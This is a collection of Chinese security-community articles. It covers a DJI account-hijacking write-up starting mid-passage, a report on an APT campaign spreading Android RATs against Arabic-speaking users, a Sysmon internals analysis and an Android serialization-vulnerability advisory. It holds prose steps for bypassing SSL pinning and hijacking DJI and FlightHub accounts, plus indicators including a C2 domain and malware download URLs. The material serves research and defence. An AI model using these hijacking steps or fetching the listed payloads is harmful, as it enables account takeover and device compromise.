为了实现绕过，首先复制Burp Suit证书到手机APP，并复制DJI应用。这会开始处于挂起模式的应用。然后用以下逻辑创建一个Frida脚本：
1. 打开Burp Suit证书，并转化为X.509证书；
2. 加载keystore并将证书放进去；
3. 创建TrustManagerFactory，并用刚才创建的含有Burp Suit证书的KeyStore初始化；
4. 重载SSLContext，并用研究人员的TrustManager hook TrustManager。
Hook完成后，研究人员恢复挂起的应用。调试器在完成hook后就可以开始保护了。这样研究人员就成功地绕过了SSL pinning，在Burp
Suit中就可以看到拦截的流量了。
图7: 绕过SSL pinning后在Burp Suit看到的流量
绕过SSL pining后，研究人员建立了一个拦截手机应用流量的代理。
在分析了web应用登陆过程后，研究人员发现用户插入凭证后，手机应用就会发送请求到`/apis/apprest/v1/email_login`。接收到的响应如下：
{“code”:0,”message”:”ok”,”data”:{“nick_name”:”XXXXXXXXX”,”cookie_name”:”_meta_key”,”cookie_key“:”NTUxNjM2ZTXXXXXXXXXXXXXXNmI2NjhmYTQ5NGMz“,”active”:false,”email”:”[email protected]”,”token“:”XXXXXXXXX2139“,”validity”:15275XXXXX,”user_id”:”9629807625XXXXXX”,”register_phone”:””,”area_code”:””,”inner_email”:false,”subscription”:false,”vipLevel”:null,”vipInfos”:[]}}
`
这里有两个重要的参数：
* cookie_key – 即来自DJI论坛的`meta-key/mck`。
* Token – 从request`mobile.php`中获取的参数。
### 账户劫持过程
劫持账户的过程如下：
1. 首先攻击者需要`meta-key`和`token`来进行替换。所以需要发送`meta-key`来黑掉`mobile.php`并接收对应的token；
2. 攻击者输入凭证，发送登陆请求；
3. 接收到第二步的响应后，攻击者需要用受害者的meta-key和来自第1步的token替换对应的meta-key和token；
4. 攻击者获取受害者账户的完全访问权限。
利用DJI漏洞，攻击者可以获取受害者账户的完全访问权限，还可以访问同步的飞行记录、无人机拍摄的照片等信息。
为了访问飞行日志文件，攻击者需要用手机同步飞行记录，因为所有的飞行记录都手动上传到DJI云服务器了。然后浏览·DJI/dji.go.v4/FlightRecord·就可以看到飞行相关的文件，和相关的用户飞行数据。
## DJI-FlightHub
DJI-FlightHub是一个web端的应用程序，可以帮助企业用户对无人机进行管理。DJI-FlightHub允许实时查看无人机的飞行状况，包括飞行地图、实时摄像头画面、以及无人机的准确位置信息等。
DJI-FlightHub有一个桌面应用程序来访问管理控制面板，该web门户位于`www.dji-flighthub.com`。
在DJI-FlightHub中，一共有三个角色，分别是admin, captain和pilot。
* Admins负责DJI-FlightHub账户，访问DJI-FlightHub平台、查看飞行数据，创建新的captains 和pilots。
* Captains可以登陆到DJI-FlightHub平台，创建新的pilots。
* Pilots负责用pilot app控制无人机飞行并将无人机与DJI-FlightHub账户绑定。
也就是说，如果获取了admin或captain账户的访问权限，就可以查看无人机的实时操作和状态。为了劫持DJI的admin或captain账户，需要了解DJI-FlightHub的登陆过程。
图8: DJI-FlightHub登陆页面
研究人员发现点击login，会发送一个`initData.do`请求，但是响应中并没有`ticket`。当用户输入凭证时，只接收到`login.do`响应的`ticket`。这也之前通过web门户劫持`account.dji.com`是不同的，因此需要重新考虑如何劫持DJI-FlightHub账户。
研究人员发现DJI-FlightHub的`initData.do`请求中有一个DJI-FlightHub的`appid`，这就是为什么在响应中没有获得`ticket`的原因。因此研究人员替换了`appid`来获取`ticket`。接收到`ticket`后，需要做的就是确定另一个`appid`的`ticket`在这里是否适用。
步骤如下：
1. 发送含有`appId=store`和Admin的`mck`的`initdata.do`请求，获取响应中的`ticket`；
2. 登陆FlightHub，拦截请求，修改`login.do`请求中的`mck`和对应的`inidata.do`响应响应中的`ticket`。然后攻击者会重定向到管理员或受害者账户。
另外，admin不会接收到任何攻击者访问账户的通知。攻击者可以访问飞行数据，下载之前上传到FlightHub平台的飞行记录等。 | 社区文章 |
# 下一只沉默的羔羊是谁？——诺崇狮APT组织揭露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
无论物理还是网络空间的对抗，中东从来都是高度活跃的区域，奇安信红雨滴团队也一直保持着关注。基于长期的分析整理，本文公开一波持续几年的定向攻击活动及背后的团伙，值得分享到安全社区以增进我们对地缘政治背景下的网络行动的理解。
自名为“Operation Restoring Hope”
的也门干预行动当天，也就是2015年4月22开始，截至2018年世界杯结束后的数月里，有一个网络攻击组织一直持续针对阿拉伯用户、什叶派及评论人士进行展开攻击，在攻击后我们发现不少被攻击的社交平台账号变成“沉默账号”，在目前已知的APT组织中均未发现和该组织有重叠，因此奇安信红雨滴把其归属为一个新的组织：诺崇狮组织。
有一句话这样形容Dota游戏里的一名角色人物—-沉默术士(诺崇)：一切魔法，遭遇了他，都将归于寂静。其后半句用在该攻击组织上相当吻合，再加上该组织的震慑力和其中的配合如同狮群，故我们将其命名为诺崇狮组织。随着该组织所属相关领导者近期可能发生的变动，该组织有可能会再度活跃。
目前已经关联到的攻击活动时间线总结如下：
图1.1 诺崇狮组织在多个网站和社交平台上发起攻击的时间线
## 背景介绍
诺崇狮组织掌握有一个由大量机器人及雇佣而来的成百上千名年轻人组成的虚拟团队，用于传播虚假信息和亲政府宣传，长期以来其一直专注于监视攻击，使国内外的批评者保持沉默，其能够利用昂贵的间谍软件瞄准生活在世界另一端的持不同政见者。
Twitter是该组织的主战场，因为Twitter被当作广受欢迎的新闻发布平台。诺崇狮组织可能培养了两名Twitter员工，尝试访问持不同政见者和激进分子的私人信息，包括电话号码和IP。后Twitter在2015年11月11日，向几十个被其中一名前Twitter员工访问过帐户的所有者发出了安全通知：“作为预防措施，我们提醒您，您的Twitter帐户是一小部分帐户之一，这些帐户可能是由国家赞助的参与者所针对的”。在2019年9月20日，Twitter又发出了一个新披露通知，宣布永久暂停了一个名为卡塔尼(Saud
al-Qahtani)的Twitter账号。
类似的，该组织还会操纵YouTube和Facebook平台，于此就不再展开描述。
## 载荷投递
诺崇狮组织在攻击活动展开期间，红雨滴团队捕获到其至少投入近十名攻击投递者在多个网站和社交平台上进行非定向的水坑传播式钓鱼攻击及定向目标的鱼叉攻击。
### 水坑攻击
至今已发现有数名攻击者在配合发布钓鱼信息，发布地点涉及了三个网站与三个社交平台(视频平台YouTube、聊天平台Telegram和社交平台Twitter)。钓鱼消息使用的语言均为阿拉伯语，仅从YouTube平台进行评估，约有万名用户可能受到攻击影响。
1. 攻击者在Qassimy游戏网站进行发布虚假游戏信息，诱导用户转向钓鱼网站进行恶意载荷的下载。
图3.1 Qassimy游戏网站上的钓鱼信息
2. 在Gem-Flash网站进行发布虚假游戏信息，诱导用户进行恶意载荷的下载。攻击者(“wafa3”)应该和Qassimy上发布的为同一个，此次钓鱼信息里还带有指向YouTube的一个引链。
图3.2 Gem-Flash网站上的钓鱼信息
3. 世界杯期间，在ADSGASTE数字门户网站进行发布虚假的世界杯播放应用信息，诱导用户转向钓鱼网站进行恶意载荷的下载。
图3.3 ADSGASTE数字门户网站上的钓鱼信息
4. 在YouTube平台上，目前已发现到有两个钓鱼攻击者；其中名叫“Nothing”的攻击者，发布了四次钓鱼信息，按观看数进行评估，约有万名YouTube用户收到钓鱼信息。另外，值得注意的是该攻击者在YouTube上发布的其中一个钓鱼信息地址被上面Gem-Flash网站的名为“wafa3”的攻击者使用在其钓鱼信息中当做引链，类似的还可以经常看到该组织下不同钓鱼攻击者之间的相互配合。
图3.4 两个攻击者在YouTube平台上发布的钓鱼信息
5. Telegram上伪装成2018世界杯直播的群频道。
图3.5 Telegram上使用的伪装世界杯直播频道
注：此处友情提醒广大安全友军，载荷投递的链接有防盗保护，所以流程有没有抓取到呢？
图3.6 Telegram上使用的伪装世界杯直播频道
6. 在Twitter平台上，已发现到该组织的四个攻击者发布了未定向的多条不同内容的钓鱼信息进行广泛传播。
图3.7 四个攻击者在Twitter平台上发起的未定向钓鱼攻击片段
7. 此外还有一个钓鱼网站，目前看其主页面荒废了有一阵子，故在此略过。
### 鱼叉攻击
在Twitter社交平台上，诺崇狮组织除了使用水坑攻击进行广泛传播外，还使用了数十次的定向鱼叉攻击。我们抽看了其中一些被该组织攻击的目标账号，有不少账号显示已被冻结或者在之后的很长时间里没有再更新过，成了永久的“沉默账号”。
图3.8 已发现到的Twitter平台上该组织最早攻击者发起的定向攻击片段
## 攻击样本的诱导伪装形式
诺崇狮组织为避免攻击时被用户察觉到，对攻击样本采用了图标伪装和功能伪装两种形式。通过图标伪装攻击样本把图标换成正常应用的图标；通过功能伪装攻击样本除了带有在后台进行间谍活动的功能，还带有正常应用的功能支持在前端界面展现，让用户难于察觉。
### 图标伪装
攻击样本伪装了几类软件的不同应用：游戏类应用(“Clash of Clans”和“Ludo”)、直播类应用(“Bigo live”和“worId
cup”注:红色的是大写的i字母，非字母L) 和一些工具类应用。
图4.1 恶意攻击样本采用的伪装图标
### 带正常应用功能进行伪装
此次攻击样本进行带正常应用功能的伪装采用了两种伪装方式：一种是通过插包的方式，直接和正常应用整合在一起，整个过程只有一个应用；另一种是运行后，会释放出正常的应用包，诱导用户安装正常应用进行正常使用，而自身再进行隐藏图标，在后台进行间谍活动，整个过程实际有两个应用。
## 攻击样本分析
至今，诺崇狮组织在其历史攻击活动里已使用了四种移动端的RAT，包括开源的RAT（AndroRat）和三种商业RAT（SandroRat、SpyNote及MobiHok）。这些RAT都是很成熟的间谍木马，用户手机一旦安装即刻能被攻击者完全控制。
### Androrat
Androrat是一款开源在GitHub上的远程管理工具，包含有基本的远控功能，且可以根据自身能力扩展更丰富的监控功能，支持攻击者在PC上对受害用户手机进行远程操控。
图5.1 Androrat被控端代码结构(左)和控制端管理界面(右)
### DroidJack
Droidjack是一种非常流行的商业RAT，目前官方售价$210。其功能强大，支持在PC上对手机进行远程操控，使用很方便。
图5.2 Droidjack被控端代码结构(左)和控制端管理界面(右)
### SpyNote
SpyNote类似Droidjack，也是一款流行的商业RAT。其支持的功能更丰富些，售价相对更贵，根据不同场景需求目前官方有两种价位($499和$4000)。
图5.3 SpyNote被控端代码结构(左)和控制端管理界面(右)
### MobiHok
MobiHok价格不菲,有4种价位($700、$6500、$11000和$20000)，曾是阿拉伯地区流行的商业RAT，目前已被汉化引入，详情请参阅我们此前发布过的历史报告[《阿拉伯木马成功汉化，多款APP惨遭模仿用于攻击》](https://ti.qianxin.com/blog/articles/arab-trojan-successfully-localized-many-apps-were-mimicked-for-attack/)。
图5.4 MobiHok被控端代码结构(左)和控制端管理界面(右)
## 攻击组织溯源分析
从整个攻击中，我们总结了诺崇狮组织以下特点：
1. 针对的目标包含：懂阿拉伯语的人、什叶派人等
2. 攻击活动时间活跃在：2015年4月22日（也门干预行动的“Operation Restoring Hope”当天）至2018年9月21日。
3. 攻击队伍较大，有大量的Twitter账号。
4. 根据两个攻击者间的交流目的是为了改变评论者，而攻击后的结果是被攻击者变成了“沉默账号”。
图6.1 Twitter平台上的两名攻击者间的一次交流
5. 其中一个攻击者第一条消息向账号“qahtan_tribe”发了个问候语，“qahtan_tribe”账号不久前还在使用卡塔尼的头像，结合该账号的信息及权力，看起来其甚至有着和Twitter一样地位的“权限”。
图6.2 Twitter平台上的一名攻击者的首条消息的问候
## 总结
此次诺崇狮组织的攻击主要发生在公开的社交媒体平台。近几年，公开的社交媒体平台成为了某几个国家电子军的另一个战场，我们也看到多个社交媒体平台也都在致力应对，当然我们也知道这种威胁不是在短期能够解决避免的，这需要多方配合一起努力才能有效遏制。
如果你是公开的社交媒体平台的一名用户，请务必保持安全防范意识，安装上必要的官方来源安全防护软件，做好个人敏感隐私数据不在公开的社交媒体平台上或者甚至不公开，不轻易点击或者接收其他人发来的图片、视频及链接等!
而作为安全厂商，在这个万物互联的时代，如何根据不同的客户场景定制出对应的有效安全防护产品和策略，做到能及时查杀拦截及发现，做好保障住国家安全、用户生命财产安全及数据安全，是我们当下最首要需要攻克的命题，望一起坚定信念，不停探索，共同奋斗。
附录A：IOC
C2 |
---|---
samsung.apps.linkpc.net |
| |
MD5 | AppName | CreateTime
ae6f0bd64ed0f2280c9d19a8108c3ae9 | WiFiKill | 2013-09-18 00:23
0b972efbaa5338d103f705b307a1d816 | WiFiKill | 2015-04-14 16:01
9f5626d244e29b546416cc9bba70bdbc | Clash of Clans | 2015-04-22 09:40
58723a625eab5a3ba9e909e881cdb4e5 |
وزارة الصحة
| 2015-05-22 19:38
ced33d5b11980bdfa4f859a1dbcb2153 |
وزارة الصحة
| 2015-06-10 01:38
349e95ac3c12cf762c66ad264af552e7 | healthfinal33 | 2015-06-10 03:40
17296ce181160cd963b0f32f747204e5 | Ludo Stat | 2017-09-14 03:39
ddf29d64a2c197f8a062c448ebf7ac19 | Iudo | 2017-09-17 01:13
e48f99bb1720f64fe71ab091193e7bf8 | Zudo | 2017-09-18 04:02
62dcc4b974c156c684296dfff549d93d | zLudo | 2017-09-19 06:55
d0213982edff32f2137ec946d1160fc3 | yLudo | 2017-09-20 02:48
1b7ce26fd5abd604c99ed0b0681455db | Avast | 2017-09-22 07:40
ff34287974df6b7dc982c0d925eb9f76 | Avast | 2017-09-22 09:30
57926dd755016e11c98e9e9e43bb20c9 | Avast | 2017-09-25 16:53
ed8507053e3e02d3701bf9c94da2902d | Avast | 2017-10-03 17:10
0b878cbc90814a4d5b09686b1cf61254 | avast anti virus | 2017-10-13 00:27
07ad82252e0f4971a7e2774480969bb5 | Avas | 2017-10-28 23:13
4f0f7186c88b92f701b5a64abce50486 | Avast | 2017-11-02 18:29
85bd302eb656bbad1339d5a6e93352e4 | Avas | 2017-11-02 20:01
2443e314d22251947f92c388479e7a34 | Zavas | 2017-11-03 01:09
e69a562296cd658192c3ad363bfc1d19 | Zndroid | 2017-11-10 01:39
12f433f958f9853c152ec1c9b27c6b28 | Android | 2017-11-10 04:20
bd2506b148cf8c56265405d4cfb2bfe0 | zLudo | 2017-11-11 10:04
d3062991398f87a229159f679741a8f9 | Zone | 2017-11-16 01:28
5220de45a564dc611d95be366092716b | App | 2018-01-21 08:34
f83c777e447cbac0e774771c8b46695d | Bigo live | 2018-02-01 00:33
5e4d10552edd2870ed0d1006deb398d1 | worId cup | 2018-07-07 19:52
b7681f2e94920bf46ba23417d31c860b | worId cup | 2018-07-11 19:59
536da24fd43587477357e3bb92f0507e | Snapchat | 2018-07-13 00:45
ea5c8f89d0b33ed70495c0b63cee06c6 | uSnapChat | 2018-07-17 00:51
b0bdb1e3ee0b7fd048ad982684227133 | Player | 2018-08-02 18:45
c883c5c8dac7e3b71898fdaa67fae3c9 | avast anti virus | 2018-08-06 18:25
f88569ba93c08ab1e27824c293493c7d | Player | 2018-08-13 01:36
| |
FileMd5 | DownloadUrl
0b972efbaa5338d103f705b307a1d816 |
<http://cdn.dosya.web.tr/KXydpR/wifikillfinal3_9.apk>
9f5626d244e29b546416cc9bba70bdbc |
<http://cdn.dosya.web.tr/Oe9YnO/clash2015.apk>
b7681f2e94920bf46ba23417d31c860b | <http://ludo.ezyro.com/cup.apk>
b0bdb1e3ee0b7fd048ad982684227133 | <http://ludo.ezyro.com/FB.apk>
f88569ba93c08ab1e27824c293493c7d | <http://ludo.ezyro.com/you.apk>
e69a562296cd658192c3ad363bfc1d19 | <http://ludo.ezyro.com/SMS.apk>
附录B：参考信息
《纽约时报》：[Saudis’ Image Makers: A Troll Army and a Twitter
Insider](https://www.nytimes.com/2018/10/20/us/politics/saudi-image-campaign-twitter.html)
《纽约时报》：[Former Twitter Employees Charged With Spying for Saudi
Arabia](https://www.nytimes.com/2019/11/06/technology/twitter-saudi-arabia-spies.html)
《纽约时报》：[Someone Tried to Hack My Phone. Technology Researchers Accused Saudi
Arabia.](https://www.nytimes.com/2020/01/28/reader-center/phone-hacking-saudi-arabia.html)
《华盛顿邮报》：[Former Twitter employees charged with spying for Saudi Arabia by
digging into the accounts of kingdom
critics](https://www.washingtonpost.com/national-security/former-twitter-employees-charged-with-spying-for-saudi-arabia-by-digging-into-the-accounts-of-kingdom-critics/2019/11/06/2e9593da-00a0-11ea-8bab-0fc209e065a8_story.html)
公民实验室(CitizenLab)：[Stopping the Press](https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/)
[New York Times Journalist Targeted by Saudi-linked Pegasus Spyware
Operator](https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/)
《Vice》：[How ‘Mr. Hashtag’ Helped Saudi Arabia Spy on
Dissidents](https://www.vice.com/en_us/article/kzjmze/saud-al-qahtani-saudi-arabia-hacking-team)
《贝灵猫》：[Lord Of The Flies: An Open-Source Investigation Into Saud Al-Qahtani](https://www.bellingcat.com/news/mena/2019/06/26/lord-of-the-flies-an-open-source-investigation-into-saud-al-qahtani/)
Twitter通告：[New disclosures to our archive of state-backed information
operations](https://blog.twitter.com/en_us/topics/company/2019/new-disclosures-to-our-archive-of-state-backed-information-operations.html) | 社区文章 |
# 微软轻量级系统监控工具sysmon原理与实现完全分析（上篇）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：浪子_三少
Sysmon是微软的一款轻量级的系统监控工具，最开始是由Sysinternals开发的，后来Sysinternals被微软收购，现在属于Sysinternals系列工具。它通过系统服务和驱动程序实现记录进程创建、文件访问以及网络信息的记录，并把相关的信息写入并展示在windows的日志事件里。经常有安全人员使用这款工具去记录并分析系统进程的活动来识别恶意或者异常活动。而本文讨论不是如何去使用该工具，而是讲解该软件的原理与实现。
本文对Sysmon分两部分
1.ring3层的exe，
2\. Flt的minifilter
下面开始上篇的讲解，ring3实现对网络数据记录以及对驱动返回的数据进行解析，而驱动部分则返回进程相关的信息以及进程访问文件注册表的数据给ring3，我们首选讲解ring3的实现原理。
Sysmon的ring3执行原理
1. 判断当前操作系统是否是64位，如果是就执行64位的sysmon
动态获取IsWow64Process的函数地址，然后调用IsWow64Process函数，判断当前是否是wow64，如果是就执行SysmonLunchIsAmd64(),进入SysmonLunchIsAmd64函数
通过GetNativeSystemInfo函数判断当前SystemInfo.wProcessorArchitecture !=
PROCESSOR_ARCHITECTURE_AMD64的值
如果是PROCESSOR_ARCHITECTURE_AMD64则释放资源节中id =
1001的资源到当前进程的所在目录，这是一个内嵌在资源里的64位版本的sysmon的exe，释放完毕后，就开始执行这个64的Sysmon。下面就是Symon的64位资源图
本文还是主要以32位的sysmon来讲解，我们继续往下讲解
2. 参数的检查
接下来sysmon会对参数进行检查，检查是否config、configuration、h、–nologon、？、help，非这些参数后，然后会接着解析具体的参数，根据参数是否加载规则。
我们看SysmonAnalyzeInitArgv函数具体看看sysmon有哪些参数，
g_commandLine里固定存贮所有的sysmon参数，这里大概只列举出一部分，Install、i、Uninstall、Configuration、c、u、Manifest、m、DebugMode、nologo、AcceptEula、ConfigDefault、HashAlgorithms、NetworkConnect、ImageLoad、l、DriverName、ProcessAccess、CheckRevocation、PipeMonitoring等等。
如果是相应的参数就继续往下执行相应的动作。
通过检测参数sha、sha-1、md5、md-5、sha、sha256、imphash、imp-hash计算当前使用何种hash算法
Sha： 1算法 、Md5： 2算法、sha：3算法、imphash：4算法
接下来会加载内置在exe 内的Sysmonschema.xml
Sysmonschema.xml的configuration规定了一些进程参数的说明，而events描述说明一些记录信息事件，比如
<event name="SYSMON_CREATE_PROCESS" value="1" level="Informational" template="Process Create" rulename="ProcessCreate" ruledefault="include" version="5">
<data name="UtcTime" inType="win:UnicodeString" outType="xs:string" />
<data name="ProcessGuid" inType="win:GUID" />
<data name="ProcessId" inType="win:UInt32" outType="win:PID" />
<data name="Image" inType="win:UnicodeString" outType="xs:string" />
<data name="FileVersion" inType="win:UnicodeString" outType="xs:string" />
<data name="Description" inType="win:UnicodeString" outType="xs:string" />
<data name="Product" inType="win:UnicodeString" outType="xs:string" />
<data name="Company" inType="win:UnicodeString" outType="xs:string" />
<data name="CommandLine" inType="win:UnicodeString" outType="xs:string" />
<data name="CurrentDirectory" inType="win:UnicodeString" outType="xs:string" />
<data name="User" inType="win:UnicodeString" outType="xs:string" />
<data name="LogonGuid" inType="win:GUID" />
<data name="LogonId" inType="win:HexInt64" />
<data name="TerminalSessionId" inType="win:UInt32" />
<data name="IntegrityLevel" inType="win:UnicodeString" outType="xs:string" />
<data name="Hashes" inType="win:UnicodeString" outType="xs:string" />
<data name="ParentProcessGuid" inType="win:GUID" />
<data name="ParentProcessId" inType="win:UInt32" outType="win:PID" />
<data name="ParentImage" inType="win:UnicodeString" outType="xs:string" />
<data name="ParentCommandLine" inType="win:UnicodeString" outType="xs:string" />
</event>
就说明了SYSMON_CREATE_PROCESS创建进程上报信息的一些数据内容及说明。
如果参数是PrintSchema
则解析并获取Sysmonschema的version，然后打印Sysmonschema的信息
3. 注册日志记录事件
Sysmon接着会通过EventRegister()函数注册一个GUID为{ _5770385F_
-C22A-43E0-BF4C-06F5698FFBD9}的日志事件。然后sysmon会通过系统的wevtutil.exe的程序去注册该GUID的系统日志trace类。
获取系统是否存在Microsoft-Windows-Sysmon的trace类，如果没有就加载exe资源中“SYSMONMAN”的资源到内存，然后释放写入系统临时目录下的文件名MANXXXX.tmp文件里
该文件是定义{5770385F-C22A-43E0-BF4C-06F5698FFBD9}的Microsoft-Windows-Sysmon的trace事件的provider，用于sysmon的后续数据解析。
最后调用系统的”wevtutil.exe im MANXXXX.tmp”去注册安装事件类
4. 安装minifilter驱动
释放资源文件为1002的到系统目录Tmp/Sysmon.sys，资源1002文件是个pe文件，实际上是sysmon的文件注册表监控驱动。
接下来继续就是安装这个驱动
Sysmon还会设置minifilter驱动的Altitude值为385201
最后开启驱动服务
往驱动发送IO控制码： 0x8340008（该控制码是给驱动更新配置规则）
以上过程是大致的安装与启动的过程，接下来就是执行Sysmon服务的SysmonServiceMain例程。
下面开始执行取数据的工作了。
第一步： 文件进程注册表的事件监控
通过发送IO控制码: 0x83400000，打开文件驱动功能，接着sysmon会开启一个线程从驱动获取监控数据，通过发送IO控制码
：0x83400004，去反复获取
每隔500毫秒发送一次获取数据，堆大小0x400000,获取了数据后，则开始解析这raw data，这个raw数据的首四个字节是表示数据类型
Typedef struct _Sysmon_Raw_Data
{
ULONG DataType;
} Sysmon_Raw_Data;
Case 1: 上报进程创建
ReportEventWriteEvent((int)&v147, (unsigned __int16 *)&g_CreateProcess, (int)v1, v17);
Case 2: 文件时间改变
ReportEventWriteEvent((int)&v147, (unsigned __int16 *)&g_CreateFileTime, (int)v1, v30);
Case 3：进程关闭
ReportEventWriteEvent((int)&v147, (unsigned __int16 *)&g_TerminateProcess, (int)v1, 0);
Case 5： 加载镜像
ReportEventWriteEvent((int)&v146, & g_ImageLoad, (int)v1, v50);
Case 7：创建远程线程
ReportEventWriteEvent((int)&v146, (unsigned __int16 *)&g_CreateRemoteThread, (int)v1, 0);
Case 8：文件读
ReportEventWriteEvent((int)&v146, (unsigned __int16 *)&g_FileRead, (int)v1, 0);
Case 9：访问进程
ReportEventWriteEvent((int)&v146, (unsigned __int16 *)&g_ProcessAccess, (int)v1, 0);
Case 10： 文件创建
ReportEventWriteEvent((int)&v146, (unsigned __int16 *)&g_FileCreate, (int)v1, v32);
Case 11：文件流事件
ReportEventWriteEvent((int)&v146, (unsigned __int16 *)&g_FileStreamCreate, (int)v1, v35);
Case 12：注册表相关的事件
Case 13：管道类事件
第二步：网络链接事件的监控
Sysmon还会创建一个ETW事件去监控网络连接的访问事件
Net Trace 名：L”SYSMON TRACE”; 或者使用系统的L”NT Kernel Logger”;
方法参考微软官方实例：<https://docs.microsoft.com/en-us/windows/desktop/etw/configuring-and-starting-the-nt-kernel-logger-session>
事件回调EventCallBack()接受数据
在解析数据时使用的是WMI Mof的方法来解析
可以参考微软的官方例子：
<https://docs.microsoft.com/en-us/windows/desktop/etw/retrieving-event-data-using-mof>
第三步：接受上报数据写入windows的Application日志
在第二部中我们可以看到通过ReportEventWriteEvent函数上报信息，在ReportEventWriteEvent函数里分两种情况系统API上报
通过ReportEvent或者EventWrite 两个其中一个API上报，而上报的事件IDD
类都是前面我们看到的Sysmon自己注册到系统的里<provider name=”Microsoft-Windows-Sysmon”
guid=”{5770385F-C22A-43E0-BF4C-06F5698FFBD9}” symbol=”SYSMON_PROVIDER”
resourceFileName=”%filename%” messageFileName=”%filename%”>
<events>的Microsoft-Windows-Sysmon事件代理，这个会生成到windows日志的Application项目下，具体会使用哪个API是根据windows的版本来选择的
这里可以看到如果操作系统主版本，如果是vista之前的操作系统使用ReportEvent，如果是vista以及以上操作系统则使用EventWrite函数。
Sysmon记录上报了数据源通过注册的WMIEvent的wmi数据持久化过滤事件去过滤不会被记录的事件，我们下面看它如何实现的。
在之前的服务启动入口有一个函数RegisterWmiEvent，该函数就是注册过滤WmiEvent的函数，我们继续往下看
函数开头会创建实例IDD_WebCImv，class Id: IID_IWbemLocatorGUID2
< _0dc12a687h_ , _0737_ fh,011cfh,088h,04dh,000h,0aah,000h,04bh,02eh,024h>
链接”ROOT\\\Subscription”的服务
接着创建Stub插口
g_WMIListenerEvent接口类型是IWbemObjectSink,其定义如下
MIDL_INTERFACE("7c857801-7381-11cf-884d-00aa004b2e24")
IWbemObjectSink : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE Indicate(
/* [in] */ long lObjectCount,
/* [size_is][in] */ __RPC__in_ecount_full(lObjectCount) IWbemClassObject **apObjArray) = 0;
virtual HRESULT STDMETHODCALLTYPE SetStatus(
/* [in] */ long lFlags,
/* [in] */ HRESULT hResult,
/* [unique][in] */ __RPC__in_opt BSTR strParam,
/* [unique][in] */ __RPC__in_opt IWbemClassObject *pObjParam) = 0;
};
然后执行
"SELECT * FROM __InstanceOperationEvent WITHIN 5 WHERE TargetInstance ISA '__EventConsumer' OR Tar"
"getInstance ISA '__EventFilter' OR TargetInstance ISA '__FilterToConsumerBinding'"
g_WmiSubscriptProxy->lpVtbl->ExecNotificationQueryAsync(
g_WmiSubscriptProxy,
strQueryLanguage,
strQuery,
128,
0,
(IWbemObjectSink *)g_pIWebmObjectSink);
去设置WMiEvent的过滤事件，操作类型是所有操作InstanceOperationEvent，设置三种事件
EventConsumer’、EventFilter’、FilterToConsumerBinding’，查询时间是5秒一次，这样就注册了。
下面我们看g_WMIListenerEvent结构
过滤事件就是在Indicate函数中实现，会通过IWbemClassObject**
数组的形式输入，函数内会枚举数据，如果是要过滤的数据则循环枚举否则中断枚举。
至此第一篇对sysmon的ring3的大致原理流程我们分析完毕，通过对它分析，学习它的实现过程，可以自己完成实现一个sysmon（还有驱动部分第二篇讲解），当然也可以绕过sysmon的监控，这就需要读者自己去研究与发现，第二篇我会讲解驱动部分的分析。 | 社区文章 |
# 漏洞预警 | Android系统序列化、反序列化不匹配漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期我们在Android序列化对象中发现了多个安全漏洞，序列化是android系统中很常用也很重要的一个过程，此类漏洞正是利用序列化过程前后数据不匹配导致的越权操作，可以让攻击者重置手机pin码、安装或卸载用户应用，部分漏洞已经在2018年四月份的Android安全公告中披露并分配CVE：CVE-2017-13286,
CVE-2017-13288, CVE-2017-13289。
利用漏洞可以使用外观完全相同的恶意应用替换金融APP、聊天APP等重要应用，受害者将面临账号被盗、财产损失的危险。这些漏洞可以实现在低权限应用中越权操作其他应用，并且操作过程中不需要界面交互，因此只要找准发动时机，完全可以在受害者毫不知情的情况下完成攻击。
本文首先对漏洞成因做一个简单的介绍，然后详细说明此类漏洞会造成的影响，如何缓解修复此类漏洞，最后列出用户应该怎么避免此类漏洞的攻击。
## 漏洞细节
Parcelable是Android中实现序列化的一个接口。需要实现序列化的类只需要实现Parcelable接口和它的几个方法即可。其中writeToParcel、createFromParcel两个方法最为关键。这两个方法提供了序列化和反序列化的能力。writeToParcel中写入需要保存的数据，createFromParcel中按相同的顺序和类型读出。不对称的写入、读出会导致严重的安全问题。以CVE-2017-13286为例：
WriteToParcel中写入了一个32位的mIsShared，但是在createFromParcel中少读了一个32位的数据。导致在读写内存时错位，在处理错位的内存数据时会造成类型混淆。当攻击者精心构造一组序列化的数据之后，这组恶意序列化数据可以稳定绕过Android系统几年前的一个漏洞补丁Android-bug-7699048。
## 漏洞利用
Android-bug-7699048是存在于Android
2.3至4.3中的调用任意私有Activity漏洞。但是这次发现的漏洞却可以影响Android6.0甚至8.0以上版本，通过漏洞绕过补丁后，攻击者可以实施重置pin码、安装、卸载应用等操作。
1. **替换应用**
这批漏洞导致的最直接后果就是在不需要用户交互的情况下，攻击者可以利用漏洞任意卸载安装用户应用。
Android-bug-7699048又叫LaunchAnyWhere，顾名思义就是可以任意调用私有Activity，而这批漏洞恰好可以绕过Android-bug-7699048补丁，此外还可以影响更高版本Android系统。相较于Android-bug-7699048，这批漏洞影响范围更广。
在此条件基础上，攻击者就可以很轻松的绕过安装和卸载过程中需要用户交互的界面，直接进行安装或是卸载。若是针对普通应用，这些应用将变成钓鱼程序，若是针对金融APP或是常用聊天软件，将直接造成账号财产损失。
以下演示启动攻击程序后，静默替换用户聊天软件：
通过精心的构造或是重打包，伪造出的应用迷惑性非常强，用户仅从外观上很难分辨真假。
2. **重置pin码**
设置pin码后，手机需要输入pin码解锁。利用此漏洞绕过pin码验证，可以做到直接重置手机pin码。如下图，启动攻击程序后将弹出pin码重置界面：
图 弹出重置pin码窗口
## 漏洞危害
攻击者可以利用这类漏洞强制卸载用户手机中的安全软件，以此绕过安全软件对手机系统的保护，从而增大用户手机的安全隐患。攻击者在卸载安全软件之后，可以进一步攻击系统来获取更高的权限、更持久稳定的控制。因为没有了安全软件的保护，用户的手机系统完全暴露在了攻击者的“屠刀”下。攻击者同样可以利用这类漏洞来替换正常应用，用钓鱼的方式获取用户的敏感信息。
## 受影响版本
CVE-2017-13286：8.0, 8.1
CVE-2017-13288：8.0, 8.1
